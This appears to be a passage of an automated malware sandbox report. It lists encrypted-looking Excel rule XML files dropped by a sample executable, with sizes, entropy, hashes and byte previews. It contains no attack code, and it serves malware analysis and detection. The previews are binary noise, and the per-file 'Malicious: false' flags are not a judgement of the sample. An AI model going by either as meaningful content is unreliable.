Preview:	<?xml.....!.iz..3cW....y...kC...S[.\.o..Q.........q..l.w..p.k..f..EB.;...H.3...}.{..g..5(..>.X..7{....;....y.r..BdmI.]J.....j....z~..`..W.[2.+#Y;.?...;(..I.E6@p...^....Q..y11.]._.......$..).&-zO. ..GQ.mc..v.5.+U...'t04......n.........Wq.q Ro...s)3......".wz:z`..._.-..u.>W..c.7<..$A.L('.UY...dD.......]G....}y.."vD..`....n..%...<..o_M..k..eYE..o;.....;......b.oCIB1ol.D.+Yi.....!...F....Rj....+(.......>A...&m`zD..K..=5%...fe.-...M...T~._."s..".]v+#.....q[.E......Y..\|.....gnx......I.]n.1.x. .f..2n.De..>r.......Q.g..@..5.3l..h1.k<..y/...{"..j..c..f...gW._......."......k.!...b..eL..f%6...%...N..A..dV.....r.2..vA`..8.@....%........).i..1.v.uK.....sqv..X.\| ...x..tT5.&.H...(X.H...........<iY.KU........t.K[>....07...i~.l..._.p5.<...."QA....4`b.+...Gz..'..)d.......^S...!.r.......A.h..Y6.......E...S<..\C_.......6...'..lX.`.AV#.U.......I..k.....G9'Y.N7.7XJ......`.?{UBo.Sc3.7.Z[[S.&.......=..,.e.e.....O..Yr.?e.S=QA.,...E.Xc..e....."..l...v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322001v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.787357569512266
Encrypted:	false
SSDEEP:	24:Pu8A7szHvJ8FF+rhGwyFCC3I+J9m76/PeHrwSzLbjeOgVbD:0Y84Ou+J07GmHr7gFD
MD5:	C76C383DFDE350B539BB1EBF0718CE20
SHA1:	0884A4854C162BD145061EBAF1CBFF39F0E8DC09
SHA-256:	1886713C8BFC4335B9594853EAE85C70F5FE2FA0BDB5CF31B956279ED02ED912
SHA-512:	1047E1E0AEF1A481E3F9562ABE411E5BDD07A9C94964E785782D4646C4E0CB47E1913F89585F2B200D8647E057A33E3EB2EA0D19CB90CE807A57869B8E777247
Malicious:	false
Preview:	<?xml.9..b...:..aL.b...s......Iq......sx...#D.K.L..."..QNE.<.w...Y\...........G.-d.U.....(/YPLE..%..E...o'z...'.6....Pi...1...W6.r...[.....%;..P.4..N.S-.+{m.N.E...C..=s.].{.eR....s.....+..:0....BM...!...2/......C9......n.=./K..`....F.......\../.v...q..x..(.cI..\,.}hY.o.."...?6.~......_...3..../Tp..,...s...".R.A.ln..;..&........L...m...3../r.#..?..7.....^..\w...b...4.h..e....\.r.C.@f.x....7u6t-.M.....r.2.r.....S.....1._>.]..F..c...R.D..Fu...71+..,...!........... .Z.0...m.[..,G....S..X.Yt..\|.U.<"......meU.........~...v..T....q.l...N./.Q..%.w..L.DL....$.CNOq<...../.z...h.+w."? j'....+...xF.#.7...../.....6...XP..H+jy.....;....`...j..b....Y..>...tS .{.D..^i.(1......c..?..eZ.x...N.{.(..&n.....'.@Tz...U#.. 3......j.i..>.W..:..E.wC..........T...{D.._.J!%...]O......5.s..$..._.zI.......M.n.....M\|._.@W.Ps../..._.e..u.,..N.?.....Uo`.~(.#..@...P..MO.....l..u...~...,...E..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322004v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	7.812843575355506
Encrypted:	false
SSDEEP:	24:jYKZMi0SqlvaeicPqfEI+qGtQ8Hi4uzFhA27xn6HaZarVbD:jFyivqM8wEfqGeMi4ukCx6HaaFD
MD5:	6D98FE567B58A294B66DB99E51BDE280
SHA1:	A1167EA6E9984BA96BF66EFF0A6B0D6AEFE8F2C8
SHA-256:	4A4CE74465238C380052F10F15946C53EA81348DDCD5AC8FD5BA36033A83671C
SHA-512:	57DB1D62291333FA8FBE454EA52492F1BDAB52D3C3671D540EA5E8385E25FAFD8571B4B0F5E6C0448E678649EF7AE4C0D64BDE38C0BE6451FAA4E182E64AD903
Malicious:	false
Preview:	<?xml.....GR.../h._t...{.J.....^5..E.0x+.N..6....iAK...&]#}.......C....G_..u;...@_+`.$.'x..S.\|.q...Y .{..7.....!.)P...u"1.....E..e.L...b.........]..[.....\..d..U..D...j.)..9'..%..EsQP..-.>[.,5K....".#....?HMt.s.=4~.....\|I....^.......T...o.f.......)&....f,.P..%..v...Rx...j0w.<.Vx..Y...z\|..jE.?L.Y....'-..._..).^.....L5.\|O..p~......g..($....N_.\b..>..4.a)ZY#.U.g...... ....B..{.)..&.\|.;...pj..Jh.{...f._ID`.g.....v.Z......~.>.><.....+...B.p....mx;.GjF;!A......%.!.im..b`.......lB......B.zm..4.\.,x.!...0-.c..=..z..[..h.5..?c...MY.u.A....w.cC....k.]>..Z.h..3FnV...6.....9.p.........O.}.).....b7%..kr.....+...........j.EpL$/..F..55......c.L.\..+..<)'...Hn.j/4..P......i.t..3....e.z...C..,+.@..llpv.....L.W.1...e.i}...q....z...d..M....!..O.6Y(./....Q#....u......r..\|...v...'1k".....N./4.]J.zD...b-.....iK,<...%O!....7....$................a...7Y.k;..<....8&&........r....0f....).S#...C..,...Z.\..^.........(..A.(.&RO#...0.<.il`.....c...g..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322006v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.8837642010459845
Encrypted:	false
SSDEEP:	24:CG1nB36eoOxqJCE8xVNRjcbQSfCiAP5IxB1BJpn7drdYGiDWdl3drgPOlPQreGwA:B+eoOxHrVz7SfPz5pnhrdr2/rWFmFD
MD5:	3A8DF93E02452CA406A11C86A58F3B21
SHA1:	D6927EE1F50673576DD9CF0259892F582F22FBCF
SHA-256:	8C1B789FD5850CA19D3083D284EAA744BEE7EAE181EF205E388FC68021E2E072
SHA-512:	1E66008E4C06697A29C715345B7B5C27CB3A73CA4D53D7166FFA06F94816A2CDDBAE980D46C5488F47C92833C6613FE506051E70C26036F79AACF7C28460ADAA
Malicious:	false
Preview:	<?xml.,......N.a.....=.T....3....4.'.B............} e..&BM ....EZ..h...Ce<T...p8..i.`.....5....4..!.yjy.V.L5...Y..4...M....E..u...A...E....}7....^.eC....mR..b.^.=...<..^[g...d.......P.P..F...Cl....:.FH[Z.......yB.D.=.+..5{.W......g.pO...f....6....~<dOpp..`.$..he..N.@..lw...e..t.7....o...5:.......Z.(.q.=]..UB.8E..>>.$\./...E...r.=l2.R...V....[.......8_.[..B..b.P.%...t9...q....e.=.d5$..}.......9..B)K....P.q.;..4..c`r.8..........._...j$.z.r.......$[.>.DS.....?.i06{3Fn.c......O.!.L...?....xFKrX...........V../..ei.F{.q....dZ.:8..%.......h .Ss0.2..&..k..E..A.Y....w....f...D...m..B.{"..}...P((..h..^..}3...."8(..[.._.....X.&$......w!..h.(..$J..y.'..z\..bQ=c.u..@...L....e.n..,.`......_q.R.2V....}...).Hj.W.........e.7..........vP/Wzm..K.]!.....)..O.....Wb......k.......l.aCT...q.42i.....7U.-N8.8X. ...Y=....".n...e.R...yc...<.h.h....F.j.....H.......O.K.....P.U....E..........-.g4`.O..p-0.=........K...HY.;?g.L.....K..j.\.A..P.I...k.+.s.&,...JW. .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324001v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	846
Entropy (8bit):	7.767747548892447
Encrypted:	false
SSDEEP:	24:lhEwg8el/+Ag9YPppfzOsvt9Ejq53H6vtgC9hA+sVbD:rpDelmF9YRprR/v5feWLFD
MD5:	CBD9FF3EE9FF360596B5811663ED03BB
SHA1:	2A0F508405B595573E341AE623BEB4BC4442B106
SHA-256:	C01E1C452031CA36FB78E639490D1E973B701C3048AE34CBAC5AB9A4699AA84E
SHA-512:	7549749A0AB6A2F76FD2A802DCF1C1AA28DE926C1E9B5C2CD1ECD907AC19BC15F547921BDDFE3C07D55EADA0BA8DDD022508FFD828DD59CF4D4BE5571B62C861
Malicious:	false
Preview:	<?xml....i........B.rw....1T...7..y.9...v.z....a..3g.k$...I..m...9.Ky..;f...@!..2K..@....c@...Z.?._)E.p...^.Js@.Z.E../.= .....Q5k;.Q.Gr...W..G..n..a......UCE H.P..N..@..@.....~..%Lo....5...,.p..;.F]........@.Y4...ERM......XR...C....C....M.N..-.!][>......xAC..&o..V(b..#+......Z.[^.c.7N..\|...\|..-_.9....J.k.sim.DV.u.O....?j.Mt^.6i.K+....p.r.L@=.c....; ......um...O..:....%?.........9.)..dQ9.B..%.(.X....E.F:-...K&\|.p.9...{...{.!.UO.!....U.l_.....&.[^F.~....#...aq..J..:..........gA..n'..f.r{...8.-"...l`&.u$...I#...."v..a.D.....).>7....1..<.?..i.X.{.z...\\|.U..x..L........'..]J=...K.K.;..`...le..V.R..6eV....~.....M...8..XI.?*.......5e....P.8.uM)n.0i.$.;..<.....a@..Dd.....h~(..e..sw....N.....-P.b..i..8...../].L.....227...Y...n...1..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.846254775202761
Encrypted:	false
SSDEEP:	24:P0ykRyOfc8tBuj9BLheLldPBjvEXgOyfXu6/QMhilSkAtzFI+nfe+GZVbD:VkJmJ9hy1QX0t/QMhVtFI+nfbGZFD
MD5:	47E7D479AD9E2FDAAD3FEC3C394741AF
SHA1:	FA5E93FAB0B97D958E8857496AC81EB52B001E63
SHA-256:	7C9F877CCE35F830E8EA2D08752A0CE099DD879FC9B990D7168E427FD1C9F58B
SHA-512:	0E6107FC3353D228095D4ED17916FEACB75D9F74D8BBCD12A9D84E064962588AB9DE0CCC02DEE5257EB2A0F0AC8A8E46A42FE27148917310E8C7E41F013E6FC2
Malicious:	false
Preview:	<?xml..z........e.}..KoDX..M....v..&........%M..s.9.7..3.F\...........!.....}..9......#.P[.E2.W.&.........2.,.1.<.v..p....h....sG...."y...usU26W.. oQ..w.p...3.+...........,.@...uI...n..j.y.SQ.Z......../.[.....m...v..j.)..>.Bu...r...bX+.{.\|.....^..N.&.{....BY....e..c..R.....k...S].MFN<..).I.{....H.{.4...E....]K.$.....!8.At..syq.......Hz....\|.}\|..=h6......~.......n../..eH..$..S..T.....0!.M.0..r..$w.W.d...{hr..s...!...H.....m..9..v...R.P.........U....z[........A...Z...Lx......_...TF.`..}.f..A...m]c.qq.?...y.......E.X.zW.DLr..'.....\....n\|....Xq........\...62<.....G..A..{]/U...;...,....m+....^@.R.L3..).4....k".p\ih.6.P.:..KT....Ct....<.S.4....3..>...>..9..WL..q=u.%p.....xH;.\....2.P.u2...9..gX....Ob..S/...GF..W0..K.......@.!.C...^tKx..M.h.....m".).a..S.K.9%...B)X.&.$..1..'a....k.b......1.&..E=7.H... S.y...`.(..zmv4..~.....#.........ey..3....AhW.D;{''V....cQt^......1.kH&@...8&..F.Ulz&fNQ`/.s;I........C.!..(......v,V/Z.!.9g+XtK.SV.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.81489665710627
Encrypted:	false
SSDEEP:	24:Wa5m35bAlmKHgeoqlpz9ESMZKWfJRun0XLDdNBGCD+2olbhgAfNiVbD:Pm3CmKHbvlpZEVxnLvMCD+2ULNiFD
MD5:	A9692A9E8D10200C45D1B3CAC1F9D898
SHA1:	B3C128C27FB31FE046B31635C9B41E151B6EC089
SHA-256:	C3E6F9DDD80294848E6DFFC36AFB11D7F0CB83218210C7D15E2B6AD20105A4C7
SHA-512:	6BA1C963FD1045D4C567D86FEE74DD634C7C3F9F929DC5BDFC1286330C63CA6916268D60094DC9267CFFC8533913DA7B74862C0BDD1B498EF925C1A8916B2F0F
Malicious:	false
Preview:	<?xml.te..}...)..%.,..0.3$...G.9&Za0.T...r.:#.=..@'.>..^/kG.2......p...1.Z..S.v......Sc.A.7.?....F+L.......2..O....j.!Qo...G.l..%H[{.....!,/..Kj$..f.Q...(.....y....S.~0"..{4..."..... ...Y.......B_.#.B...ir..........b83\|.}....}#....${.Q&.K..Xs!...n"...T4...\G..IN....Zy<z.;.q..a...W........W...o.9.&.Y.........".=BE/.Cyr.@.j..;.........WK.m.@........V.y4..fl...BY..}.....D;".Y.g.. CC.>pD^...}........P..qq.......X\..E.i..#..4djHQ!...}b.2..0u?...B.E..,U..;...I.7..!.<...D...E...=...Yx....^...T.2...v...$.C....>.........k}...2...g<.<tF..O.....J3$..}../W..$...0.d..1...9.3.......MU.&.q....K..~..u............8.T.y..U.H/....QY..P.YH.1..y.e7...=GXmsMw...(7....z.9<d.......B..H..3....AS.V...>...<.<...!]W..i.K0%..WYF....S.Tq.........gt{..+.9..V).,.v.=...<.\..!...>n).y.......+]..Lut..$(...l..]...HK..:.5..}.D.%.8...".6U....U..^...*......smqo....h....G.J..^....J...T...`....]..I....$..K.cDt.....~}-M.l7..,...R3...#J$..]..R.w.}..T..G..N...T..g$.(...e....F.Q..%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.848771058403421
Encrypted:	false
SSDEEP:	24:qvGXhV8zMTDRaBfbow9znscpUaLnmMWUkjcrc8MenoyhIkdVbD:Tx2zKDKowlscp6MWPTeob0FD
MD5:	AD8EAC57EA4FD09FE34F391E769BF02E
SHA1:	FB5CDF6C0BB91237A9BBF8730EDE743D61F1FB67
SHA-256:	7FA32AC4250776E8F77D17E153556085C1A11C4DBE4107A5182290205517CB62
SHA-512:	ACFB54FE17EEC0F2898EAFD3CA895A918CA461B410B4B23E2D6769D6ACDF230B941D80DB76CEFED77E74A5FB0EDD00D8CE142890EDD406AF0A884A9C58DCACB4
Malicious:	false
Preview:	<?xmlW{.P3.P.)..+e.~9.......K.)...`..H.~;..NR...K.2......"...}...2..M.....,.&.U}18...r.=B..G..H.e.N...,0..]..........5!.cK....e..B"........>.....b.....2.-.+...J.......'...Dt....?d.l.7.6)..a...N&..+..M...\|..>....ez..p.'...^..kL...R...7W.....C.M...:.C..2...xz...R....4.d>.u.>K..m....%..1D.~.K492.P%....IO.w.Hxb.ov...0^..&.....Z1.f.".q....l.........k.o.B.zC{-Y&..$..r%k...w.n..W....Z.hU....M.{.):.O..mS..^.7/...&...v...J.91V..C..BpC A......py...A.....P.....I_.4.......h.(.....R..8.....7.k7..:P.H.f........2i^u"U/....6\|...-t...Q..) _....&s.../P..X=K...+y.....O%y..^ `H^b.P..u.9.LEj..9....A.....GQ-.5$[.^z.Kj<$..&.W..<(.-'.Hm(..q.~.....5./;...0..&4......P:'.....H....Sd..1."...Cg.....F.....,z.......5)U.....y...J.QX:N.FQ..X...5.........u.....p;.*...O.{..%{.&gS.;. ..8..$...JAl..N'..w.l.\........L....+..g.f..4..?.M.~.#...\r.wUqo..;. ...GHK1...`d..V.#...........)...:.....S.g[...T..k...\|8..K..v..-..x.nA5.q..pj...'$.7K5........^bP~..x.X........+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.780658599009631
Encrypted:	false
SSDEEP:	24:N6uzvVF3lTIDn0fhApPyig+y8Xf9nIB44TauplwvdJfdTGYtx+uoVbD:fVdlTID05A4r+RXNuc/dGYv+uoFD
MD5:	C9D9C2893EBEAB8D397A24CAB6980D72
SHA1:	7611E73B7C4542B189879261C88B16D247EC0F0B
SHA-256:	E20E25612C3E18879845737556C4A985909F539FC7694F6CA9D622E45FD34223
SHA-512:	DD075E3D9B83DD921955A10F1F0627CFC3E0900FF40DCD7198EC3068014FEB29D7E778FD604195AE59C627707C1DFEED0791758CEECEE5970B1F4DDF9F2AD53E
Malicious:	false
Preview:	<?xmlh_y..Ma;@".=l..3j....8......[.....@.D.-\..I...@.'8.........p...i.i.M.f..j9...G........E.r..D..m..3m.m\...%y.F.....j......8Ftb1.....L.9.C..V.j2l..r.........`.\|Gn..O6.2..H.0#4N)..(..'..B......w<U...J.e.U.)...y.G..!..A.t.p...=.yA!..x..AOU'......(Z.<..9.G...k/[.s.#.........n..r}{.y0.em6$.y..I......K.J....X....=.....)...\|.#`.\pIs2.....L.c..t..oF.....Ea..%aU.m....6f&#Ii...Ys....rupA.b....@.[..N.v.{T....._ H:.<..b+7...9....PC...)C.\|...d_M.(@......%..'N...g.w..4P!..$s.:..k..IQ"]U.u.?.7...Y......g.QN..5.....O...7oORa@..%...=....W\|">./$......mHm0...974......he...r.....sdM.;p....-.8R.vy..x.G.....J......5...k..S...!.a..%..g..4.\|.z...Q.+.k.....J..G....3..}..A.u..C5.X........~..6d..P@K.y.=b.oJ.NNf.A.@5f.0{-...Jx5b...a.....2D=....c.)H...<%.@.Y.e....rw ).5. ......y..0.?..$.Re...h/.H....5s.B...[U...l..../u ..s1..?..2...../~.....?....`...3...+J...c....).O...."..H.F.Z.G.m...........M....{.s..\.".,V...+.Q.[[.G.Y.wA...0.p.&..4....\..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.805823232841786
Encrypted:	false
SSDEEP:	12:ithruj9dMSG71fkm1/WnCN1ecQQeBMagmg5IZMUrq12NIs/raK8iIIhqOu4ckDB+:rW8mdWnNtgmgR1CI+elitXQc1aVbD
MD5:	5B7CC28548129DA4C979C8FA9C803AA1
SHA1:	5C61E2240B6700FA8B4F8F88207AD717974D6028
SHA-256:	23F6EE8BCC2E6C9092CD193DD941C2D23DD5978CC7E9CFE6DAF5D63022D0551B
SHA-512:	B312C95D63FF5CF6C4181B832881085A5746E16CA3E3EBBE1245F2CE5781EDD4D85C83321FD59DAE67A095E1467E668D5E807738761367C5321EFF4A3B1770C6
Malicious:	false
Preview:	<?xmlz;J.......?.A..2.I@..Ts....Q...%.......8.L...n..@...;..-...X.X..,...r..g.'...{.]qX..H..D.S.a.'..'..DD>.Vds....XU'cH....jDt..rr.62.7....\|..o....O.R.H...}}.Y.....)..I.3..p..g..#..CP.\'.[...].j'..u....:./...ok...n.=j.....E...2..k....Q..."./.qM..0\l..j.?...y!hZ. ..{.}.&.@M.e......7..Qi......_a.hN..:...M.P....n:.b~..Be.6oa.),K~Q.m...U....aI(....(...a....i..p";..3./.......J..J............g=.1&X....u...{....U-..z....f..ON.;..Z...n.r..".#..j.V.O.....l.1{:o.!.A:.O.....;&.R...Y....L.9..\r5H\...yx>..~\|X.......{.iVW...Y.......\|B.......DD...7.....:...q.G. ..>p/.....Me....Jy6....T...t.e.j.Rf...=..&9..1.s\|....q;...\|...8......?.....I..BN.S....[9n.Uq.v&...Yv..F..J.....?:../$..IlE.X...y...y..........2..j...A..v.?.{..Ve......H....t._E..`O...b!.^.......5.]>..^.G.z]...pkU..D.(.5..7.isEa..z.G.......8D.6I=`<,.e6......8.2.yd...d.7.$.zpi..H.vC-<..z.3.&~.i.....76.....9..;...7b..;N .g......\.0;3H....cN.V.8.\|%..\|".....5..S.m.O.......{..\."....N.<.1.t-..N7v....k..^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.8179869543234295
Encrypted:	false
SSDEEP:	24:aKVBm1JmKGcbKDBJ1FOf+RIYmCjzw4ceiVbD:VBAXIOf9XVeiFD
MD5:	2B75EF21001730D21F018B41D18A098C
SHA1:	2B4ADBD0E0783BF23A3EF5B8632B96755A062915
SHA-256:	4E1E0D8E8664294AE3822F27F5B56E74D9B78A9BDE44D6B32F6963ACB12A0DAD
SHA-512:	2258D1F097FD53AB7467A9C9CC41E7216BEEFFB66A01DE094D6D8015C7A13BBA176E6A92C42538B883D58D95A3BE743463388B2B150E5DB7C8A11B928D538AD9
Malicious:	false
Preview:	<?xml.P.a,Y.A!.3Wn.5..,.....<..I...iG.U..-.._fx...5`.qhb3Ea.Q........a....z.....H.{nN..C..t.....p....?..IZ...M......_...$...SEw...G...".......<;[..E.R...B...a.....!6..%...HMN...V...GU.....?6.RAW....n...).........<!.\|.u.....p....q...D..Q..z..n..:..(..F......g.....8P....Bs.d..:...a7.L.XcJ..z...?>.\|..J=.(XK.'.+................OncA..].7.m.F..j,....v.)..c.3..........(..~...W..f..<.ek.v4.SD..5B.....Zj..Rl..L.b.[.....R..a..L.{.?0.W.<.c....O.4M..PW.....G..&.Za.....y..........a.q....?sMf.u.....q3y.Y.b.......N...@.&.1.....9.(..p.._......d\|.)R..D.b.'u..?Z..#..>...ig.mR]....AD....3m..3..E.G$..r..C].....!....s`1z...m.V8.JuG..e.."`.....O..M&....\|.S ...6......[..)h.O......m6.4...\...z..k.W....v....Rl.R\|...f.R..-E.9).....N\|..A>.S$..N(....-d.%....g\|+....'..v..SA...v......*!.6/.Fg..........l.7R@BC.I.y.I.~`-........\|...t}..J5.........Z... .....!E>-..[e]\|..Q..`8.."...E'.X.q.$....%.=.5...Is.V.Bo......;....Nh...5.\...:..S.i'..../.....#......[.[y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324004v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.813552144188551
Encrypted:	false
SSDEEP:	24:Xb5LX7GLFfImFujp6AmDEnZjJACyJ2qVbD:rl7GLFwge+ebfqFD
MD5:	A4CC4B248700766D4BBC0EC198CF3C67
SHA1:	232E30E94806964F0A176B0B4E2DE063FA628D0D
SHA-256:	3B18F20533EA884D237CEE29709B53B1572D25F2C94F1E1E919634259195CC35
SHA-512:	F7EE6F346AA09CA2B621BE3A8A05FE78C122738819C304311FDC0C3D345E92ED0B0BD0019EAA0835EF0C85CA565FDAC7C2811C47C0F1A8E3257D63D06A339BC2
Malicious:	false
Preview:	<?xmlLK..Z..".P?:Ym.>.5.Z....7...c/..V._WPu...0...>.(..c....`....n.....8[../.h.!.v`Px.......~.....N....~$8...V.u.].......Hp.%z..w.g".4c...Fe...BB....i..I]b...Q....D\.ye.-.=4.p..![{...K.=.......^%.Y...s..(<.64^Q`{..b.$....\|........F..-.# .dGt.x.....X!..3....i..O..6....Y+.9w~O....p....}.),...B..._5l5.....^;.}.+.J......#.A...L&&.l8&...T..rC.g8..1..up..9..".4.(..K>.h.._......O.+./8.....W...7.@.8.......O...I.7.V.....iA.\e-...=W....._.......5_<.~...E..{`..w..&...@"0.....L+9...J...7n.p`.`G._..E. .......Hm.fkM.KC.#@.[B.U..-..^....b....n#+Z.{.&. uPddV..y{.@. $i.DE.V.........U.HM.#...B {$..$...0.+...V...\|X..0n..2.....xH.?....r...W.}Y.D5B.[.].'=...{..L...!.\.U...b(+....8.Sa...'..b...:\|.....j.G.....[...<o.X..h~....f...z...T.&I.f..#w.T{u...v.z..... .d.R.6..#.x.S.._.2,...FC..o....$H.6@2..GW.].:..)q.Mg.y..\...u.#"..T.!.o...Lw.....B.2..x...{.}.%.9...kC....zABD.."....d.z'"....p...i.H[\|..IDs.K.!9.1..P....gR1.h.KD*..#\.Y.H......T.B....W.S.rT~..itkm7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324005v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.8023044470024905
Encrypted:	false
SSDEEP:	24:DqLTCM/OqpxCojdLLu8HNRCvMRdNYVtqK6RdFqJVbD:I/9C2dG8ttRd+DqZHsFD
MD5:	BF78577D1CBCEC18C1313CE80A798BF1
SHA1:	006D671357F453D814CDE326606C7C0BE34FE941
SHA-256:	4C969FD5E99E9D98DD0051F4CFF1D496B512F5B8EAB7E21D6D419A00DDD75040
SHA-512:	7508EBA2AFCABF0A2F2394240192E97B3CCC4E5C71901482E8B17A268A2BE47A38DC7697FC84981FF489C36A0F49D5C29BDBF2AD042800A43507112415B0CD1A
Malicious:	false
Preview:	<?xml._o.....e].....f.B..M.....a?b\|o.A....uE!...#./x..Ot...,J!...J'.......O.Vc.t....>..+.\.7.a.+P..6A5.uf.:....gm~4.]U.a.af..t..3.].........Zn+...}...w..&.2.b..y...].a%d..E.).'...._......,U..Z.J.J...X..s^.^.,F.a..'......l8.B...\...k..?...........s.O............t7..CG.n&.o$j.L.RN.).c.....R.9.^.g!..@...z.....=.-.K`S...!.fSV+..v.....\|...$....HS...Se/...V....I...Px..\|....<.....~.....w.E.(.XBM?J.;gDV...l.n!!.:.h.@.U..R%.c*....e,.\|..........gL.T.......j.,.s.pAw...?.C..Sy.J.F.....x...r.w..d.c.e.n.Y..Q.">Yt..K..........V............g\|....wp^j.?....M.{eCh"aV...eQL..4\|.Q.o..g@......Q.Y.:;..A\t.y.Y{.R..U.....c....:......0G..#x.=rqL.)r\...~o...V...4.T...y.k".[%.r......\.(i.F.....{.}.P,<..x.G...'...N...OP.^...b...]......~....w..21N....R..=.c._.......>H...o....Y....ZA?.Z..`P'......4X.V.d....4{...TX...U...u..N8~6.J.dqitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324006v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.750978018171645
Encrypted:	false
SSDEEP:	24:UynXGsOgMBYpGEgdtYatixc822pLcVtJBVbD:7XjOtBYpGEut3ixc1/FD
MD5:	C9C3FF9DEBA8BA64A6C222341CE03DB6
SHA1:	B2E959EF725A6A064DF610E1195F1FB9DC7E19E9
SHA-256:	3A022137D05ECA9B158AC3BC06EB2F595C6FF2FFB4614C107843F4608EA1BA08
SHA-512:	4DF5D40FC05748CAB7D64C987023B2C3230A1A42CEABE6E8670B1E3CAD506DFCA2DD904B205B6F084FA5DCD5670C0246C0CCF746517E357A4FBFFED8C16BF422
Malicious:	false
Preview:	<?xml...}v.0L.i......8.'-G.Vu.EqO...-..M.v.o..(..#.n...4....E.XT.9..kz...$..K..H?.5>.`.^b..C.}.......@.5.D\...GC..Y..X..>.$....=(.!.....)j..D.H.....!.TV.x...?...Ug....FX..N2.6...]n.C.K..h..A.z.d..E..-..2.....j.O.......nk.3.z..[.......W.....(oz..q.K..!.'.7..dQZ"....9..e........\|(.ge..&nM..0.g.p~.!....@..j..q......5.>....7.....\|~..p.YjH.e..}.......W.'..AW..M..0..~..)s,x..5&.U..u..I...P3..A.R......`......c..h.%.8c.....C.!...\}LW.+AP. !....QE.....hA.w.#...N0~.r.+No..zkU.l..Q...[.u^hw;...V.b.~5.-.6wR....C.pS..{1.E...#U..W!...E^....\....2..".Isb.......@y+Y%Y..%.F...;\_..e.y.O5.P.y.D.^1U...H2a.*...W.,.c.&...E...5.../.......?Gb.....S...}...n~.D3....G....w.t..%....e..SF..n..uN.ZF.....b........A.\|.N..j.OW..$..W'.R..r..:....a..a..,......'....~.F.6./....\LO.Y.{K.S):..%..%.b.l;..b.(...DJ..lAbz<x...Y...P...sR}.."...w..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324007v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.756131115656021
Encrypted:	false
SSDEEP:	24:f7OnTdPzpB9eglZ80NlQu8IBkF4a4MfrYXtA6gaqVbD:f7QdPzpPexcfBkvXzYXtAkqFD
MD5:	447038401977332BF4C0E640F87DF28A
SHA1:	387D08C50116D49A1FB3B867F9EDEB5057E7F482
SHA-256:	BBC0AF673C8FF11F063073E74EA4E8FAE2AC8937DB7F474BC13D5F95E36220DB
SHA-512:	408CB90263CB270F5CDB3F1E408A515F3D1058FF411B5EB79BD15910CF7E22D5175CDC5ABE1D789D668A7598FCA3F08EE56BC3432C4ECFBB8BDC039D25DF783F
Malicious:	false
